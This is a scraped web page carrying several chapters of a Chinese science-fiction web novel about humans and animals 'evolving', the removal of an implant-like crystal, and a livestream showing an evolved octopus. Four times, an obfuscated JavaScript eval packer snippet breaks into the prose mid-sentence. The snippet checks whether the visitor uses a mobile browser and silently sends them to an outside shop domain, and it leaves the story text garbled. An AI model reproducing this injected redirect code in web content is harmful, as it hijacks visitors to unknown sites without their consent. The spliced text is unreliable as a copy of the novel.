l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587669|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>“你说得对。” 唐诗给那个“蓝莓”以各个角度来了数张特写,又拍了动态视频,还是有些意犹未尽。 “我在想能不能将它取出来,要是可以拿出来,就方便多了……” 林萤又一次将视线投到屏幕上,“应该可以拿出来。你们看,它自成一体,并没有与其他组织——血液、细胞、骨骼等发生相互作用,它就像是从身体外面吞进去的一样,是独立存在的。所以,就算拿出来,也不会对其他组织造成太大的伤害。” 唐诗抬起头,对林萤眨眨眼,“那咱们,试一下?” 见林萤与林祐均两人都点了点头,唐诗便对赵师傅说了她的请求,得到对方同意后,唐诗试探着让机器人碰了碰那颗“蓝莓”。 “啊——疼!” 屏幕下方传来赵师傅撕心裂肺的喊叫声,伴随着肢体的蜷缩,整个画面抖动起来。 唐诗忙收回机器人,一只手按动紧急按钮,“赵师傅,赵师傅!你还好吗?” 林萤走到观察窗前,仔细看去,却被巨大的机器遮挡住视线,看不到赵师傅本人。 机器一关闭,林祐均立即推开观测室的门,一个箭步冲上前去。 此时观测仓已经打开,赵师傅躺在里面,深深吸气,足足半分钟后,他才平静下来,而后在林祐均的协助下,坐在了一边。 “呼——我的妈呀,刚刚可太疼了,就像被烧红的烙铁‘滋’地烫了一下,还好就一下,多了可扛不住。” 唐诗的愧疚写在了脸上,“对不起,我没想到会那么疼……” “谁能想到呢,那到底是个啥?”赵师傅站起来,一边走出检测室,一边问道。 “这个,我们目前也不太清楚……”林祐均回答道。 两人说话间,走出了检测室,林萤忙将椅子推到赵师傅跟前,引他坐下。 “赵师傅,你平时有没有觉得自己左边的肩膀有些不舒服?”唐诗问道。 “啊?左肩膀,因为总要颠勺,所以会有些不舒服,但没那么疼,贴片膏药就好了!我还去看了看,医生说是肌肉劳损,让我多休息,可咱干的这活能休息吗?我休息了大家吃啥,你说是不是?虽然有那个炒菜的机器人,可它少了烟火气啊,做的一点也不香!” 赵师傅说着,活动了一下肩膀,突然“咦”了一声,“说来也怪,今天我那个……那个‘变异’了之后,整个肩膀都轻松了许多!” 说着,他低头看了看自己的双手,突然来了精神,“哎!你们说,我跟那个西游记里的长臂罗汉像不像?——歘歘歘歘!他们应该叫我去演戏,保准像极了!” 赵师傅说着,来回收缩自己的双臂,倒真是有戏剧效果。 林祐均将防护服递给他,没忍住笑了笑,“是的,连特效的钱都省下来了!” “那我现在能回去了吗?已经耽误了很久,我害怕那帮小子忙不过来。” 林祐均看向唐诗,见她点头,于是“嗯”了一声。 唐诗给赵师傅带上监测手环后,嘱咐了几句注意事项后,又抬头看了一眼屏幕上的时间,“已经这么晚了,林指导,麻烦你送一下赵师傅……然后请你再回来一趟。” 12. 变回普通人 片刻后,林祐均返回,不待唐诗指示,便走进了观测室。 此时,机器已完成自清洁,林祐均稍作检查便径直躺了上去。 唐诗打趣,“林指导果然懂我。” 检测器里传来林祐均稍显沉闷的声音,“知道你让我回来就是为了这个,我愿意做你们的小白鼠。” “那真是太感谢了,我们正缺少小白鼠。” 唐诗说罢,开始仔细观察屏幕,林萤也上前一步,端着凳子坐在了她的身侧。 “林指导进化的是双耳,那么我们的观测重点便是他的耳部……林萤,你看!” 果不其然,在林祐均的耳根处有一个黑影,唐诗将其放大,发现那是一个球状多面体,与赵师傅左肩处的几乎一模一样。 “就是这个东西!” 得到肯定的答案,唐诗关掉机器,林祐均从监测舱里出来,他看了看屏幕上的检测结果,而后若有所思。 “这个位置比较靠外,应该可以取出来……” 此言一出,唐诗和林萤都猛地看向他,刚才机器人只是轻轻碰触了一下那个晶体,赵师傅便疼得难以自控,倘若要将它取出来,不用想都知道有多痛。 对上两人关切的目光,林祐均却只是耸耸肩,“打麻醉就好了,算是个小手术。” “你不怕?”唐诗问他。 “有什么好怕的,我说了,我现在就是小白鼠,你们有什么要研究的,尽管用我来研究。” “可是……” “没有什么可是,如果出事了,记得在你的实验报告里提上一笔,我就知足了。” 唐诗垂下眼,片刻后抬起脸,“好,不过我这边不能取,得去医务室,那里有专业的麻醉。” “行,都听你的。” 医务室距离实验楼并不远,名字叫做医务室,里面却像一所大型综合医院一样一应俱全。 给林祐均主刀的是唐诗,几个非常专业的医护人员一同跟随着进入了手术室。 方才前往医务室的路上,林萤专门看了几眼林祐均的耳根,她并没有在他的耳根上看到异常的凸起,也就是说,那个晶体的位置还要靠里,或者晶体的形状并不是固定的。 林萤估量了一下,如果那个晶体能在体外被看见,大概就像一颗鼓起的青春痘,大小也像,形状也像。虽是推测,但这个晶体应当是与进化有着密切的关系,林萤坐在手术室外的长椅上,脑海里飞速将这些零碎的信息整合到一起。 从手术开始到手术结束,只用了不到半个小时。 尽管打了麻药,但手术过后,林祐均仍是出了一身的冷汗,他干脆换了一身干净的病号服,普普通通的衣服愣是被他穿出了时尚感。 “疼吗?”唐诗问道。 “说不疼是假的,但是也并非难以忍受,毕竟用了不少麻醉。”林祐均解释道。 短暂地观察半小时之后,一行三人又回到了实验室。 林萤盯着冻存管里的物体,它是一个圆形多面体,黄豆大小,半透明的紫色,触感起先是软的,却从取出体内的那一刻逐渐变得像玻璃一般硬。 “不是人体产物,倒像是被安装进去的。”唐诗这样说道。 林萤又看向林祐均,“林指导,这个东西取出来后,您的身体有什么变化吗?” 林祐均笑了笑,指了指自己的耳朵。 “有,我的能力消失了。” “消失?!” 林萤和唐诗同时惊呼一声。 “准确来说,是回到进化以前的状态了,变得普普通通。” “啊……” 林萤看着林祐均的笑脸,一时不知是该安慰他还是该同情他。 虽然这两天到处都是关于进化的讨论,但真正进化且成功的人数并不算多,而且可以肯定的是,进化后人的能力大大超越了以前,已经不是普通人可以比拟的了。从这点来看,进化的好处自然是大于不进化的。 唐诗又惊讶又懊悔,同时还有些不好意思,“林指导,我感觉自己做了一件错事……” 她举起手中的冻存管,轻轻摇晃了一下,管子里的晶体轻微地晃动着,“不知道把这个东西给你装回去,你还能不能恢复进化能力,只是这个已经不能变形了……”唐诗说着,往林祐均的耳后看去。 林祐均的手指轻轻触了触耳根后的伤口,那里被缝了两针,“你们大概不知道,我进化后听力异常敏锐,人在十五层,一楼的走动声也能听得很清楚。平常就算堵着耳朵也很吵,很难休息好......所以不用安慰我,我倒是应该感谢你们帮我除了这个大麻烦,今天晚上我终于能睡个好觉了。” 林萤想到了自己的耳朵,自从昨晚进化后,她想听什么,什么声音就会自动放大,那些杂音、噪音似乎可以被屏蔽掉,也就是说好像要比林祐均的“智能”一些…… 林祐均继续道:“另外,你们不止帮我,也帮了一众正在头疼的家伙。” “谁啊?”唐诗发出疑问。 “警局正在考虑如何处理那些犯罪的进化者,他们仗着自己的能力不把普通人放在眼里,如此一来,只要取出他们体内的这个东西,就可以跟普通的案件一样处理了。” 话刚说完,林祐均突然咳了几声,面中也咳得通红,“抱歉,我太久没喝水,嗓子有点干……” 唐诗道:“我的错,刚才就应该让你去吃饭的,这一下午,忙得连水都喝不上……哎呀,一说到喝水我就感觉自己口干舌燥,嗓子里都要冒出烟来了!” 唐诗说完从一旁的柜子里拿出纸杯,接了一杯蒸馏水递给林祐均,又接了一杯“咕嘟嘟”给自己灌了下去,然后转向林萤。 “林萤,你要不要也来上一杯?” 林萤摇了摇头,方才经唐诗这么一说,林萤惊觉自己一下午都没有喝过水,但是,她一点也没有觉得渴,也没有饥饿感。 “走吧,两位,我请你们吃饭。”林祐均掏出手机查看,已经晚上九点多了。 唐诗摇摇头,从柜子里掏出了一个包装好的小面包,她把面包拿在手上朝另外两人晃了晃,面包袋咔咔作响,“你带林萤去吃吧,我在这对付一下,先研究研究那个奇怪的‘晶体’有什么特别的,还有……进化废液的检测结果出来了,我也得去看看。” 伴随着“滴滴”的提醒声,唐诗一边拆撕面包一遍看向屏幕,看了两眼又回过头对林萤说道:“你的伙伴们两个小时前已经去吃饭了,这会估计已经到宿舍了。不过你不用急,林指导到时候会把你送过去。” 林萤点点头,却并未直接离开,“要不然我留下来帮忙吧?反正我也不饿。” “不用不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590775|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,你可千万别觉得我累,你走了有那些机器人给我帮忙,只是我平时不喜欢使唤他们罢了,他们干活还是很利索的!”见林萤还是没走,唐诗索性站了起来,一只手将她向外推了推,“去吧,你第一天来,先熟悉一下。而且你考虑一下我们的病患,他刚进行了一场手术,需要尽快休息!” “是啊,林萤,有的是机会让你忙。” 林萤推却不过,只好随林祐均一起离开。 二人去食堂简单吃了些自助,而后林祐均带林萤去宿舍楼。 今夜有云,将月亮和暗星的光遮了个大半。空气中飘来一阵阵馥郁的花香,林萤顺着香气望过去,看到路旁开满了烟火一样的菊,红的、黄的、紫的,引得甲虫与蛾子在花丛间乱舞,热热闹闹。 林萤看了看身侧的林祐均,出声询问,“您还好吗?” “我很好,你不用担心,也不用这么客气。林萤,称呼我为‘你’就行,‘您’字,让我感觉自己德高望重的同时也老了好几十岁。” “嗯,我听你的。”林萤爽快地答应了,而后借着路灯查看他的面色,见他似乎已经恢复了正常,这才放下心来。 “你似乎知道很多关于进化的事情。” “我知道的恐怕就只比你多一点,因为这仅仅只是一个开始。起先连我本人都以为是恶搞事件,你知道的,经历过大灾难后人们的心理多多少少都会有创伤,所以言行举止怪异点也正常。直到我自己进化成功,并且亲眼看到一个人在我的面前进化失败,之后,接二连三发生数起,于是我们紧急成立了一个专门应对此类事件的专案组,将其命名为‘进化事件处理中心’。听说你是生物系的,你应该比我更知道进化这个词的意义。” “居然真的有这个组织,那我们校园论坛里置顶的那个帖子是不是你们的人发的?” 林祐均轻笑一声,“是,你们学校是我们的准点保护对象。任何人在任何时间以任何方式,都有可能进化,这些不可控因素决定了进化将是全民共同面对的课题,在这个它面前,教育、医疗,治安,这三个是我们必须守住的底线。” 林萤沉吟片刻,“令人恐惧的不是进化,而是进化失败,以及进化成功后带来的社会剧变。我现在明白为什么我的老师们会忧心忡忡了。” 前方“职工宿舍楼”几个大字在夜晚散发着白光,林祐均的脚步踩在路边的鹅卵石上,发出比心跳还微弱的响动,而后,响动声停歇,林祐均对林萤示意。 “到了,林萤,回去休息吧!” “你不住职工宿舍吗?” “嗯。” “啊,我还以为咱们顺路呢,麻烦你送我了。其实我方向感很好,你指指路我就能找到位置。” 林祐均似乎笑了一下,“送佛送到西。今天发生了很多事情,现在回去也睡不着,多走走反倒是有益处。” “那倒是……” 林萤说着,朝宿舍楼走去,林祐均又陪她走了几步,“别想太多,早点休息。”说话间,已经到了宿舍楼下,林祐均正准备离开,却听到通讯器的响声。 “你去忙吧,我自己过去就行了。”林萤向他简单道别,快步走向宿舍楼的大门。 就在这时她看见门边似乎有一道白影闪过,再仔细查看时,那道白影却不见了。 ——那是什么? 13. 姜黄色大脸 林萤回头看了一眼,见林祐均已快步离去,显然他并没有看到刚刚那个一闪而过的身影。她满怀心事走向前去,刚一进宿舍大楼,一高一矮两个圆墩墩的身影便迎了上来。 “哎呀,同学,你可终于来了!” “林萤你好,小圆等你很久了。” 前一个声音温柔又亲切,是个子高的那个人发出来的,她大约五十来岁,脸蛋红润,眼神和蔼,应当就是宿管阿姨。 后一个声音是标准的娃娃音,是个胖矮的可爱机器人,虽是机器人,却还穿着一件小小的白色针织连衣裙,连衣裙上有一朵向日葵,葵花上的笑脸和机器人脸上的笑颜一模一样。 一人一机冲过来围到林萤边上,差点就要将她抱起来。 “阿姨你好,小圆你好,我叫林萤,是新来的。”林萤忙朝这热情的一大一小打招呼。 “林萤啊,你的宿舍在二楼,和你的那些同学都是邻居,走,阿姨这就带你过去!” “阿姨,等等,你们门口有监控吗?”林萤站在原地,认真询问。 “有啊,怎么啦?” “我刚刚看到一个白色的东西闪过去了,就在门口。”林萤指了指方才那白影出现的地方。 阿姨似乎并不惊讶,“哎呀,那是我们这里的流浪猫,我们院子里好多猫,光白色的就有十来只呢!他们经常在宿舍楼门口投喂猫咪,所以猫也爱来这里。” 林萤回想了一下,觉得那白影的大小确实有些像猫,猫咪的速度也称得上快,跑出残影不稀奇,“原来是这样……” 经此一事,她又想起了初到实验室时听到的猫叫,但似乎只有在电梯里听到过,其余时间都没有听到,想来那猫极有可能在负二或者负三层。 “好了,别担心,咱们这里可以是全蹊暇市最安全的地方!” 说罢,阿姨便拉着林萤向里走去,小圆跟在她们的后面,一边走一边介绍。 “你好林萤,这里是T-6研究院的职工宿舍,宿舍一共有六层,共一百二十个房间,为了让大家的居住环境更舒适,我们采用了……” “好了小圆,你不要说话了,让我来给林萤同学介绍。你的房间是207,从电梯出去左拐第三个就是了,房间里不能做饭,但是你可以用电锅自己开小灶,那些研究员都这么做,虽然是明令禁止的……” “那是因为小圆的防护措施做的很到位哦,一有用电隐患,小圆就会发出警报,并将源头掐断。”小圆迫不及待地加入对话。 几人说着来到了电梯口,期间遇到两位研究员,林萤皆是笑着向他们打了打招呼。 “他们看上去好年轻啊……” “是的,这里住的都是年轻人,老研究员一般都在后面的家属院里住着。其实现在人已经很少了,之前那才叫一个人多,都是各地的优秀青年,几乎个个都是省状元,你说,他们不仅学习好吧,还很有爱心,那些野猫本来都瘦瘦的,现如今各个都像大卡车,真不知道人家爹妈是怎么教育孩子的……” 阿姨滔滔不绝,一路都在说话,林萤看了一眼小圆,居然从一个机器人的脸上看出了无奈。 不知不觉,便到了207的门口。 阿姨正要给林萤录指纹,就听隔壁的门“咔嚓”一声打开,一张土黄色的人脸冷不丁出现在了门缝。 “我的妈呀!这是,涂的啥?” “哦!天呐,吓死小圆了!” “马……马浩哲?”林萤愣了一秒,这才认出那是敷了姜黄泥面膜的马浩哲。 黄色人脸“嘿嘿”一笑,面庞两侧已经干燥结块的面膜顿时龟裂开来,像极了大旱之年的黄土地。 “林萤,你怎么才回来?” “那边稍微耽误了一下,所以就回来晚了,你这是准备睡觉了?” “还没,我买了好多好吃的,等下叫上田畅,咱们三个一起聚一下,联络联络感情!楼下有一间休息厅,里面有个大屏幕,还有沙发什么的,咱们就在那聚!” “啊,这样啊……” “好了,我去把面膜洗掉,等会过来找你!” “好……”林萤看着门缝里这张大黄脸,说不出拒绝的话。 马浩哲将脑袋缩回去,轻轻关上门。 “这小同志还真有个性……来,林萤,我给你录一下指纹,这样你就能开锁了。” 林萤转过身,配合阿姨录好指纹,又向她们道了晚安,这才回到房间里。 打开灯,林萤的视线在房间内扫了一圈。 这个房间大约有四十平米,进门右手边是玄关,林萤在这里看到了自己的书包,再往进走有一个巨大的冰箱,冰箱旁有一盆高大的琴叶榕,似乎刚刚浇过水,盆面的土还是湿的。 挨着琴叶榕的是原木色的书桌,书桌上纸笔电脑一应俱全,书桌紧挨着一个大书柜,书柜的一层有许多书,其他几层皆是空着的,似乎是等住在这里的人来填满。书桌的对面是床,一旁有张双人沙发和小茶几,大大的落地窗,窗外树影绰绰。独立的卫生间在最左边,里面洗漱用品一应俱全。 可以说,除了没有厨房,其他都非常完美。 不过,林萤转念一想——就算有厨房我也不会做饭——还有什么比现在更完美的呢? 她洗漱完毕,坐在书桌前,拿起铅笔,在空白的纸上写下一个“1”,然后便停笔思索,所思所想皆是关于进化: 1、进化者可以二次进化; 2、如果进化的不是关键部位,进化失败并不一定会引起死亡; 3、“进化废液”可以从体外排出; 4、“进化废液”中含有一种晶体,其他人看不见,晶体消失后进化停止; 5、口服“进化废液”的小白鼠全部死亡; 6、进化方式也在进化,逐渐由器官进化变为异能进化; 7、虽然只有两例,但进化者体内会有一种…… 林萤想了想从林祐均耳后取出来的那个晶体,该叫它什么呢?“冰晶”、“圆形多面体”?不,这些都只能表现它的外在特征…… 林萤转了转笔,努力在脑海中搜索更为恰当的名称,这时,一个词蹦了出来——“进化核”,不错,就暂且将它命名为进化核! 林萤对自己取得名字非常满意,抬起笔,将方才划掉的数字“7”重新写上。 7、进化者体内会长出一种类似于“核”的物质,暂命为“进化核”,取出进化核后,进化者的进化能力会消失; 8、进化后的能力有强有弱,原因不详; 写到这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590776|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,林萤记得临走前“进化废液”的检测结果已经出来,明天早上可以去问问唐诗,她转了转笔,正要写下“9”字,突然间响起了门铃声。 来人是马浩哲,他应是刚沐浴过,发尖还带着热乎乎的水汽,大臂下夹着手机,怀里抱着一堆饮料零食。 “走,林萤,下楼,畅畅已经下去了!” 说话间,他的一罐汽水掉落到地毯上,“骨碌碌”滚到了林萤的脚下,林萤俯身将它捡了起来。 “好,你们先去,我马上就来。” 马浩哲说了一声好,便离开了。 五分钟后,林萤来到了楼下,宿管阿姨已经去睡了,机器人小圆还站在门口,看见林萤朝她挥了挥手,林萤也开心地向小圆打了个招呼,而后左拐,来到了休息厅。 这间休息厅装修的十分舒适,驼色的地毯,米色的沙发,黄色的花朵形靠垫,白色的茶几,正对面有一张透明的大屏幕,看上去十分高端。 林萤先跟马浩哲田畅打了个招呼,然后在一张单人沙发上坐了下来。 此时,马浩哲正在将自己的手机链接屏幕,他想要投屏播放,“死手快点!还有五分钟我女鹅就要开播了……” 林萤看了眼满桌子的零食,还有正在抱着一桶泡面的田畅,“你晚上没有吃饭吗?” “吃了啊,但是这会儿又饿了!”田畅的眼镜上满是白色的雾气,但丝毫不影响他进食。 马浩哲连好投屏,“我给你们说,我喜欢的吃播好久没有播过了,今晚是复出后的第一场!”他说着,一屁股坐在沙发上,把茶几上的零食往林萤这边推了推,“林萤,我女鹅吃饭超香,看她吃东西你也会想吃东西,所以我就拿了这些,你也别客气,一起吃!” “小马哥,你还用得着看吃播?”田畅捏了一把马浩哲的腰间肉。 “我跟你说,你马哥以前不胖的时候还挺帅,但是啊,这个美食不能辜负……”说罢,他将两罐饮料分别递给林萤和田畅,又给自己拿了一罐,“今天是我们‘三毛特效小分队’成立的好日子,让我们来干一杯!” “干杯!” 林萤打开饮料喝了一口,冰凉的液体下肚,原本有些疲惫的精神又重新兴奋起来。 “滴里——” 随着一阵音乐声,直播开始了。 林萤很少看直播,但对这个吃播也有印象。 吃播的名字叫“饿霸”,名字霸气,吃播本人却是一个长着娃娃脸的年轻女孩,她曾经一口气吃了十盆吸满了红油的螺蛳粉,引来数十万人的围观,从此直接跃上吃播榜的前三名,以“大胃”著称。 “铛铛~~~饿霸来袭!” 主播刚念了一句开场白,礼物特效便刷满了屏幕,林萤被这乱七八糟的动画晃了眼,不由感叹“饿霸”的魅力。 “忘关特效了……” 马浩哲抬手屏蔽了礼物特效,饿霸的真容这才显现在屏幕上。 “宝贝们想我了吗?今天晚上我们来到了一家自选海鲜加工餐厅,这里的海鲜非常的新鲜,种类俱全,是附近非常有名的一家餐厅!” 屏幕上的女孩子穿着粉色的蓬蓬连衣裙,微卷的刘海,头发高高扎成两个丸子,分别卡着粉白相间的蝴蝶结。她一边朝镜头挥手一边在店里寻找座位。 14. 进化的章鱼 很快,女孩找到了一张四人桌。她在桌边坐下,整了整衣裳,方才还笑着的面孔突然间悲伤起来。 “开播前我有一件非常重要的事情要对大家说。 我们都知道前段时间地球发生了一场十分严重的灾难,在这场灾难中不少人失去了家园、失去了亲人、失去了赖以生存的土地。你们的悲伤我感同身受,因为我也失去了自己最爱的父亲……” 说到这里,女孩红了双眼,想要说的话似乎再也说不出来。 留言翻滚,全是劝慰主播的。 马浩哲却疑惑地皱起了眉头,“我是饿霸还没火起来的时候就关注她的,之前她有一次直播就说过她父亲为了养活他们姐妹几个日夜打工,积劳成疾,得病去世了……怎么又去世了一遍?” 林萤一边喝着饮料一边看着屏幕,没有说话。 田畅则是一边嗦溜面条一边吐字不清地说道:“辣有啥,都是人设,傻子才信!” “好你个畅畅,你拐外抹角说我傻?”马浩哲小怒一番,又很快将注意力放在了直播上。 屏幕里,饿霸很快便调整好状态,“所以我提议,让我们抽出三分钟,为灾难中去世的人默哀。逝者安息,思念永存。” 说着,她便双手合十,闭上了眼睛,屏幕下方的留言也从文字变成了一水的蜡烛。 林萤转过头,对上马浩哲和田畅的目光,“不管怎么说,她这个提议倒是挺让人感动的。” “也是……”说罢,马浩哲放下手中的零食袋,擦了擦手指,一双手十指交扣放在胸前,垂下头闭上眼,开始祷告。 田畅“切”了一声,低下头,继续吃他的面。 林萤看了眼时间,也闭上了眼睛,再睁开,正好三分钟默哀结束。 屏幕上的饿霸也睁开了种着纤长睫毛的大眼睛,她轻轻理了理鬓角的碎发,重新换上了一副笑脸。 “好,让我们回归今天的主题—— 饿霸张口,老板破产! 听说这家店可以自己挑海鲜让后厨给你做,走,跟我一起去看看吧!” 饿霸说着,拎起裙边,跟着一旁的服务员一起来到海鲜池。 海胆生蚝象拔蚌,龙虾鲍鱼帝王蟹。 海鲜池里的水咕嘟咕嘟往上冒水泡,各种海货应接不暇。 饿霸挑了几只蟹,又点了几个虾,走走停停,来到了盛放章鱼的池子。 这家店的章鱼数量不多,个头却格外大,其中有一只盘踞在池子的角落,黑乎乎的,整个身躯庞大得像一座假山一样,不仔细看,很容易让人忽略它。 然而,章鱼再高超的伪装技巧也没有躲过饿霸的眼睛。 只见饿霸眼前一亮,对着屏幕笑了起来。 “大家知道吗,章鱼是一种非常聪明的动物,因为它有九个脑子哦!它有一个主脑在头部,其他八个副脑则分布在八条触手上,一加八等于九,九个脑子。 据说章鱼的智商相当于一二年级的小朋友呢!” 饿霸说笑着,突然伸手一指,指向那个非常像假山的章鱼。 “宝宝们快看那边! 池子的角落里有个‘假山’,但其实那根本不是山,而是一条聪明章鱼的伪装!它大概知道被抓出池子就要面临死亡的风险,所以一直安安静静待在那边,扮作假山的样子,一动也不动,就是为了不引起大家的注意。” 在饿霸的指引下,大家都看到了那只伪装失败的章鱼。 镜头只在章鱼的身上停留了不到两秒钟,又转移到了饿霸身上,然而,就是这短短的两秒钟,却惊得林萤一身冷汗,她“腾”地一下站了起来,差点将身后的沙发掀翻。 “怎么了,林萤?”马浩哲正将薯片送进嘴里,被林萤的举动吓了一跳,田畅也是面条都不吞了,转过脸来困惑地看着她。 林萤指着屏幕,本想指出自己的发现,然而里面只有饿霸放大的脸。 “那只章鱼,进化了!” “啊?” “那只章鱼!你查一下这家店的具体位置,我给林指导打电话!快!”林萤说完,拿起电话就要往外拨,突然又想起了什么,“你快留言告诉这个主播,不要选这只章鱼,千万不要选这只章鱼!” “啊,好……”马浩哲虽然不明白林萤为什么突然如此不安,但也从对方的举止中嗅到了一丝紧张的气息,他迅速打字,在留言里拜托主播不要选那只模拟假山的章鱼。 谁料,马浩哲的留言刚刚发上去,立马被一群人抨击了。 “妈妈,我在互联网上看到了真正的乐山大佛!” “玻璃心你是喝西北风长大的吗?牛羊肉别吃,那是生命,蔬菜水果也不要吃,那也是生命,植物也不要吃,都是生命!” “圣母看什么吃播!” “就是,章鱼的命是命,其他虾蟹的命就不是命了吗?!干脆你别让主播吃了!” “女鹅别听他的,就选那只章鱼,它看上去最肥美!” “这个人肯定是披着粉丝外衣来闹事的,管理呢,快把他踢出去!” 马浩哲没想到自己的言论会被这么多人反对,他着急解释,却发现自己真的被管理员给禁言了。 而这番风波自然也被主播看在了眼里。 “好了好了,宝宝们不要说那位‘小马哥’了,他只是爱心用错了地方……我观察了一下,那只章鱼表面很有光泽、吸盘也看上去完整有力量,显然是一只健康到不能再健康的章鱼了,我决定就选它!” 饿霸说着,帅气地转过头,伸手指向那只蜷缩在角落里的章鱼,食指上的戒链在灯光下熠熠闪烁。 “服务员,帮我捞出来! 处理成三份:一份白灼、一份刺身、一份用来涮火锅!” 说着,她又对着镜头笑,“为防止有人说我浪费食物,我要提前说明一下,宝宝们不用担心我吃不完,我带了摄影大哥,等我录得差不多了他也会一起吃,并且吃不完的东西我们都会打包回去的,绝不浪费!” 翻滚的留言皆是赞美饿霸的。 “女鹅太乖了!” “是啊是啊,人美心善!” “快点吃吧,想看女鹅大口大口吃饭饭!” 林萤站在桌前,一边等待电话接通一边看着屏幕,她没有转头,“马浩哲,查到了吗?” 马浩哲正憋了一肚子的火气,他陪着饿霸从小透明一直走到现在,从粉丝只有个位数到现在的几百万,饿霸不可能不熟悉他的ID,却还是那样大喇喇地念了出来,显然不怀好意。 果不其然,马浩哲从来没有收到过私信的账号一时间收到了几百条私信,几乎全都是骂他的。 “马上,马上!”马浩哲压下心头的不快,正要去查了一下那家店的位置。 “是家连锁店,我看看……真巧,就在栖霞市东边!”田畅叫到。 正说着,电话接通,那头的林祐均似乎还没有回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597864|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,他声音有些疲惫,简单地“喂”了一声后,便安静地等待着林萤的下文。 “林指导,抱歉这么晚给你电话,有一只章鱼进化了!” “什么?” “栖霞市旭日路201号的海鲜店‘东海渔村’,海鲜池里的章鱼进化了,有一个叫做饿霸的主播正在直播,我在她的直播间看到的。” 林萤的语速极快却不失条理,林祐均迅速记下她的话,然后嘱咐一旁的人和他一起去店里查看,“好的,林萤,你继续待在直播间,我现在就过去……” 跑步声、气喘声、车门关上的声音、电车启动的声音,纷纷传入林萤的耳里,而后听筒里传来林祐均的声音,“林萤,你在听吗?” “我在。” “我们从这里过去大概需要二十五分钟,我让他们想办法先盖住那个海鲜池,但是不保证能活捉到那只章鱼。” “好的,还有,我们想让主播关掉直播,可是被禁言了。” “这件事交给我,你先说一下你是怎么发现那只章鱼进化的,它有什么异常行为?” “首先是它的眼睛,章鱼的眼睛本身是黑色或者褐色的,可是那只章鱼的眼睛是赤红色的;其次,它虽然极力隐藏自己的身躯,但我看到它用来捕猎的两条腕足的足尖进化出了更为精细的触手,也就是说,它模拟人类长出了‘手指’;最后,也就是最关键的一点,它的吸盘旁边,似乎长出了一个可以随时闭合的孔,就像嘴巴一样……我也不知道是不是自己看错了。” “好的,林萤,我了解了,我已经给城东区那边的同事打了电话,他们很快就会到达现场,我们也正在全力赶过去。” “好的,林指导,我还有一个请求。” “你说。” “后续的事情,方便的话可以告诉我吗,因为我对进化章鱼的事情很感兴趣。” 那边停顿了一秒钟,而后传来林祐均的声音,“可以。” “谢谢林指导。”林萤挂掉电话,又重新将注意力转移到屏幕上。 镜头那边,饿霸已经结束采货,她俏生生站在海鲜池的旁边,正要和自己的“食物”进行合影。 几个服务员站在她的旁边,配合她的步调,举着夹子上不断挣扎的海货们。 “宝宝们,我数‘123’大家帮我和它们照张相吧,来,一、二、三、茄子!” 合影完毕,服务员准备拿海货们去后厨处理,饿霸边对着镜头展示自己挑选的龙虾,边跟直播间的观众们聊天。 “说起来,这也许是它们今生第一次拍照,没想到一拍拍的就是遗照,虽然有些残忍,但对动物来说也不算虚度此生了,宝宝们,你们说对吧? 好了,让我们回到座位上,耐心等待,等待即将入口的美味佳肴……” 饿霸说着就要往座位上走,这时,后面的服务员突然惊讶地叫了一声。 饿霸回过头去看,“怎么了?” “不好意思,不好意思,这只章鱼太滑溜了,我没抓牢……” 服务员手忙脚乱,想要抓住这只滑溜的大章鱼,却一时间怎么也抓不住,反倒使得地面上全是水渍,将饿霸的鞋子都弄脏了,好在很快,另一个服务员拿了一个大铁盆,倒扣在章鱼身上,这才将它抓住。 饿霸微微皱了皱眉,“你是第一次干这个活吧?要先一棒子打晕呀,不用管卖相,反正已经拍过照了。”说罢,她去柜台前结了账转身回到了座位上。 15. 死亡直播 镜头前,女孩拿起账单贴近屏幕。 “刚刚发生了一个小插曲,但是不影响我们进食的心情。 给大家看,今天的海鲜加上烹饪费一共是4600元,有点贵,等下一定要好好品鉴! 对了,食材处理大概还需要一段时间,现在让我们来聊聊天吧!宝宝们有什么烦恼,或者有什么问题,都可以跟我聊聊哦……” 眼见直播间里热闹了起来,马浩哲抱着花朵靠垫坐在了林萤的斜前方,瞪着圆溜溜的眼睛看向后者,“林萤,你刚刚说的章鱼进化,是我想的那个进化吗?” 林萤正在用自己的账号登录直播间,她闻言一边快速打字一边问:“你想的进化是哪种?” “类似于最近进化的人类,都变得异常强大。” 